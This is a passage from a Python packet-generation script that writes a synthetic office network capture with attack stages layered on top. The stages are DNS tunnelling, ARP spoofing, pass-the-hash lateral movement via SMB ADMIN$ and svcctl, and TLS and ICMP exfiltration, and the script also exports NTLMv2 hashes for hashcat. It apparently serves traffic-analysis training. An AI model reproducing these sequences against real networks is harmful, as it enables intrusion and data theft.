        txt = _b64ish(RNG_ATK.randrange(90, 170))
        q = dns_query(qname, "TXT")
        u4(t, PZ, DC, sport, 53, q)
        u4(t + 0.0019 + jit(0.003), DC, PZ, 53, sport,
           dns_reply(q, [DNSRR(rrname=qname, type="TXT", ttl=1,
                               rdata=[txt])], aa=0))
        sport += 1
        t += 0.55 + jit(0.35)

    # A handful of algorithmic names that do not exist: the implant looking
    # for a fallback controller.
    for i, off in enumerate((132.4, 134.9, 137.2, 139.8)):
        qname = f"{_label(14)}.example"
        dns_pair(T0 + off, PZ, DC, qname, "A", [], rcode=3, sport=51400 + i)


# ===========================================================================
#  Stage 7 -- ARP spoofing
# ===========================================================================
def scene_atk_arpspoof():
    """The operator claims the gateway's address, then the core takes it back.

    Wireshark flags this as a duplicate IP address: two different MACs answer
    for 10.21.10.1 inside a few seconds.
    """
    t = T0 + 140.0
    for i in range(8):
        # Unsolicited replies, broadcast so every host's cache updates.
        frame(t, 10, PZ.mac, MAC_BCAST,
              ARP(op=2, hwsrc=PZ.mac, psrc=GW_IP, hwdst=MAC_BCAST,
                  pdst=GW_IP))
        # And the other half of the MITM: tell the gateway it is the victim.
        frame(t + 0.004, 10, PZ.mac, CORE_MAC,
              ARP(op=2, hwsrc=PZ.mac, psrc=VICTIM.ip, hwdst=CORE_MAC,
                  pdst=GW_IP))
        t += 2.0 + jit(0.3)

    # The core re-asserts its own address as soon as it sees the conflict.
    frame(T0 + 156.4, 10, CORE_MAC, MAC_BCAST,
          ARP(op=2, hwsrc=CORE_MAC, psrc=GW_IP, hwdst=MAC_BCAST, pdst=GW_IP))
    frame(T0 + 156.9, 10, CORE_MAC, MAC_BCAST,
          ARP(op=1, hwsrc=CORE_MAC, psrc=GW_IP, hwdst="00:00:00:00:00:00",
              pdst=VICTIM.ip))
    frame(T0 + 156.902, 10, VICTIM.mac, CORE_MAC,
          ARP(op=2, hwsrc=VICTIM.mac, psrc=VICTIM.ip, hwdst=CORE_MAC,
              pdst=GW_IP))


# ===========================================================================
#  Stage 8 -- lateral movement
# ===========================================================================
def scene_atk_lateral():
    """Workstation to workstation: endpoint mapper, then SMB to ADMIN$.

    wks-hr-03 is on the floor-1 stack and wks-sales-12 is on floor 2, in the
    same VLAN, so the core bridges this pair and the TTL never changes --
    the same lesson the baseline's Modbus pair teaches, now in the hands of
    someone moving sideways.

    Nothing about these ports is unusual on its own. Two workstations talking
    SMB to each other, with a service binary going over the wire, is.
    """
    # DCE/RPC endpoint mapper: where does svcctl live on this box?
    f = TcpFlow(T0 + 190.0, PZ, TARGET, 51010, 135)
    f.open()
    f.send("c", _dcerpc_bind(), think=0.0011)
    f.send("s", _dcerpc_bind_ack(), think=0.0017)
    f.send("c", _rand(220), think=0.0013)          # ept_map, opaque here
    f.send("s", _rand(316), think=0.0021)
    f.close("c", think=0.004)

    sid = 0x0000A1000000BB70
    tid_admin = 0x00000011
    f = TcpFlow(T0 + 190.6, PZ, TARGET, 51012, 445, win_raw=1024)
    f.open()
    # Pass-the-hash with the credential captured at t+45: a fresh challenge,
    # so a fresh NTProofStr, computed from the same password.
    ntlm_session_setup(f, server_name="wks-hr-03", workstation="WKS-SALES-12",
                       sid=sid, challenge=bytes.fromhex("a1b2c3d4e5f60718"),
                       client_challenge=_rand(8), succeed=True)

    # ADMIN$ is the administrative share mapped to C:\Windows. A tree connect
    # to it from another workstation is the signature of a service-install
    # style lateral move.
    smb_send(f, "c", smb_hdr("SMB2_TREE_CONNECT", 4, sid=sid) /
             SMB2_Tree_Connect_Request(
                 Buffer=[("Path", f"\\\\{TARGET.ip}\\ADMIN$")]))
    smb_send(f, "s", smb_hdr("SMB2_TREE_CONNECT", 4, resp=True, sid=sid,
                             tid=tid_admin) /
             SMB2_Tree_Connect_Response(ShareType=1, ShareFlags=0,
                                        Capabilities=0,
                                        MaximalAccess=0x001F01FF))

    # One session, one tree connect, and now every file access is just
    # CREATE/WRITE/CLOSE on top of them.
    payload = pe_bytes(61000)
    smb_send(f, "c", smb_hdr("SMB2_CREATE", 5, sid=sid, tid=tid_admin) /
             SMB2_Create_Request(
                 DesiredAccess=0x0012019F, FileAttributes=0x00000080,
                 ShareAccess=0, CreateDisposition=5, CreateOptions=0x00000044,
                 Buffer=[("Name", "svchost-update.exe")]))
    fid = fileid(0x0000000A00000001)
    smb_send(f, "s", smb_hdr("SMB2_CREATE", 5, resp=True, sid=sid,
                             tid=tid_admin) /
             SMB2_Create_Response(OplockLevel=0, CreateAction=2,
                                  EndOfFile=0, AllocationSize=0,
                                  FileAttributes=0x00000080, FileId=fid,
                                  **FTIMES))
    off = 0
    for mid in range(6, 16):
        chunk = payload[off:off + 6144]
        if not chunk:
            break
        smb_send(f, "c", smb_hdr("SMB2_WRITE", mid, sid=sid, tid=tid_admin) /
                 SMB2_Write_Request(Offset=off, FileId=fid,
                                    Buffer=[("Data", chunk)]))
        smb_send(f, "s", smb_hdr("SMB2_WRITE", mid, resp=True, sid=sid,
                                 tid=tid_admin) /
                 SMB2_Write_Response(Count=len(chunk)))
        off += len(chunk)
    smb_send(f, "c", smb_hdr("SMB2_CLOSE", 20, sid=sid, tid=tid_admin) /
             SMB2_Close_Request(FileId=fid))
    smb_send(f, "s", smb_hdr("SMB2_CLOSE", 20, resp=True, sid=sid,
                             tid=tid_admin) /
             SMB2_Close_Response(EndOfFile=off, AllocationSize=off,
                                 FileAttributes=0x00000080, **FTIMES))

    # Then IPC$ and the svcctl named pipe: create the service, start it.
    tid_ipc = 0x00000012
    smb_send(f, "c", smb_hdr("SMB2_TREE_CONNECT", 21, sid=sid) /
             SMB2_Tree_Connect_Request(
                 Buffer=[("Path", f"\\\\{TARGET.ip}\\IPC$")]))
    smb_send(f, "s", smb_hdr("SMB2_TREE_CONNECT", 21, resp=True, sid=sid,
                             tid=tid_ipc) /
             SMB2_Tree_Connect_Response(ShareType=2, ShareFlags=0,
                                        Capabilities=0,
                                        MaximalAccess=0x001F00A9))
    pipe_fid = fileid(0x0000000B00000002)
    smb_send(f, "c", smb_hdr("SMB2_CREATE", 22, sid=sid, tid=tid_ipc) /
             SMB2_Create_Request(DesiredAccess=0x0012019F, ShareAccess=3,
                                 CreateDisposition=1,
                                 Buffer=[("Name", "svcctl")]))
    smb_send(f, "s", smb_hdr("SMB2_CREATE", 22, resp=True, sid=sid,
                             tid=tid_ipc) /
             SMB2_Create_Response(OplockLevel=0, CreateAction=1,
                                  FileId=pipe_fid, **FTIMES))
    for mid, size in ((23, 148), (24, 332), (25, 196)):
        smb_send(f, "c", smb_hdr("SMB2_WRITE", mid, sid=sid, tid=tid_ipc) /
                 SMB2_Write_Request(Offset=0, FileId=pipe_fid,
                                    Buffer=[("Data", _rand(size))]))
        smb_send(f, "s", smb_hdr("SMB2_WRITE", mid, resp=True, sid=sid,
                                 tid=tid_ipc) / SMB2_Write_Response(Count=size))
    smb_send(f, "c", smb_hdr("SMB2_CLOSE", 26, sid=sid, tid=tid_ipc) /
             SMB2_Close_Request(FileId=pipe_fid))
    smb_send(f, "s", smb_hdr("SMB2_CLOSE", 26, resp=True, sid=sid,
                             tid=tid_ipc) / SMB2_Close_Response(**FTIMES))
    f.close("c", think=0.05)


def _dcerpc_bind():
    """A DCE/RPC bind to the endpoint mapper interface, by hand: version 5,
    one context, the EPM UUID."""
    return (b"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00"
            b"\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
            b"\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa"
            b"\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
            b"\x2b\x10\x48\x60\x02\x00\x00\x00")


def _dcerpc_bind_ack():
    return (b"\x05\x00\x0c\x03\x10\x00\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00"
            b"\xb8\x10\xb8\x10\x2f\x6c\x00\x00\x0b\x00\x5c\x50\x49\x50\x45\x5c"
            b"\x65\x70\x6d\x61\x70\x70\x65\x72\x00\x00\x01\x00\x00\x00\x00\x00"
            b"\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10"
            b"\x48\x60\x02\x00\x00\x00")


# ===========================================================================
#  Stage 9 -- staging and exfiltration
# ===========================================================================
def scene_atk_exfil():
    """Collect, then send.

    The read off the file server is encrypted SMB3, so there is nothing to
    read -- only a volume and a direction. The upload is TLS to a host with
    no history in this capture, 1.2 MB up against 5 KB down, which is the
    opposite shape of every other TLS session in the file.
    """
    sid = 0x0000A10000000211
    f = TcpFlow(T0 + 225.0, PZ, FS, 51220, 445, win_raw=1024)
    f.open()
    f.send("c", smb2_negotiate_req(), think=0.0011)
    f.send("s", smb2_negotiate_resp(), think=0.0018)
    for mid, size in ((2, 448), (3, 288), (4, 376)):
        f.send("c", smb3_encrypted(sid, size, mid), think=0.0013)
        f.send("s", smb3_encrypted(sid, size + 96, mid), think=0.002)
    # A directory walk, then fourteen 64 KB reads: nothing a file server has
    # not seen before, except for who is asking and what happens next.
    for n in range(14):
        f.send("c", smb3_encrypted(sid, 180, 20 + n), think=0.0012)
        f.send("s", smb3_encrypted(sid, 65536, 20 + n), think=0.0023,
               ack_every=4)
    f.send("c", smb3_encrypted(sid, 204, 90), think=0.003)
    f.send("s", smb3_encrypted(sid, 148, 90), think=0.0016)
    f.close("c", think=0.02)

    # The archive goes out in one long TLS session.
    dns_pair(T0 + 243.0, PZ, DC, EXFIL_DOMAIN, "A",
             [DNSRR(rrname=EXFIL_DOMAIN, type="A", ttl=300, rdata=x_exfil.ip)],
             sport=51240)
    tls_session(T0 + 243.1, PZ, x_exfil, EXFIL_DOMAIN, sport=51241,
                up=1_180_000, down=5200, profile="gostack", close=True)

    # And a second path out, for whatever the proxy might block: an ICMP
    # tunnel. Echo requests carrying a kilobyte each, with replies that carry
    # a kilobyte back -- not what ping does.
    t = T0 + 270.0
    for i in range(34):
        data = _b64ish(1024)
        icmp_echo(t, PZ, x_c2, 0x7b11, 1 + i, data)
        icmp_echo(t + 0.0241 + jit(0.004), x_c2, PZ, 0x7b11, 1 + i,
                  _b64ish(1024), reply=True)
        t += 0.62 + jit(0.2)


# ===========================================================================
#  Assemble
# ===========================================================================
ATTACK_SCENES = (
    scene_atk_delivery,
    scene_atk_beacon,
    scene_atk_recon,
    scene_atk_poison,
    scene_atk_kerberoast,
    scene_atk_dnstun,
    scene_atk_arpspoof,
    scene_atk_lateral,
    scene_atk_exfil,
)

RNG_ATK = random.Random(0)


def main():
    ap = argparse.ArgumentParser(description=__doc__.splitlines()[0])
    ap.add_argument("--out", default="office-attack.pcap")
    ap.add_argument("--seed", type=int, default=20261110,
                    help="PRNG seed; the same seed always rebuilds the same file")
    ap.add_argument("--overlay-only", action="store_true",
                    help="write only the attack frames")
    ap.add_argument("--baseline-only", action="store_true",
                    help="write only the benign baseline (same bytes as "
                         "mkoffice.py produces)")
    ap.add_argument("--hashes", metavar="PATH",
                    help="also write the NTLMv2 hashes this capture contains, "
                         "in hashcat -m 5600 format")
    args = ap.parse_args()

    # The baseline and the overlay draw from separate streams, so the attack
    # frames are the same whether or not the baseline was built alongside
    # them, and the baseline bytes are identical to mkoffice.py's output.
    global RNG_ATK
    if not args.overlay_only:
        O.RNG = random.Random(args.seed)
        for scene in O.SCENES:
            scene()
    if not args.baseline_only:
        O.RNG = RNG_ATK = random.Random(args.seed ^ 0xA77ACC)
        for scene in ATTACK_SCENES:
            scene()

    O.PKTS.sort(key=lambda tp: tp[0])
    pkts = [p for _, p in O.PKTS]
    wrpcap(args.out, pkts)

    span = O.PKTS[-1][0] - O.PKTS[0][0]
    print(f"{args.out}: {len(pkts)} frames, {span:.1f} s "
          f"({len(pkts) / span:.0f} pkt/s average)")
    for line in CRACKABLE:
        print("  NTLMv2:", line[:72] + "...")
    if args.hashes and CRACKABLE:
        with open(args.hashes, "w") as fh:
            fh.write("\n".join(CRACKABLE) + "\n")
        print(f"  wrote {len(CRACKABLE)} hash(es) to {args.hashes}")


if __name__ == "__main__":
    main()
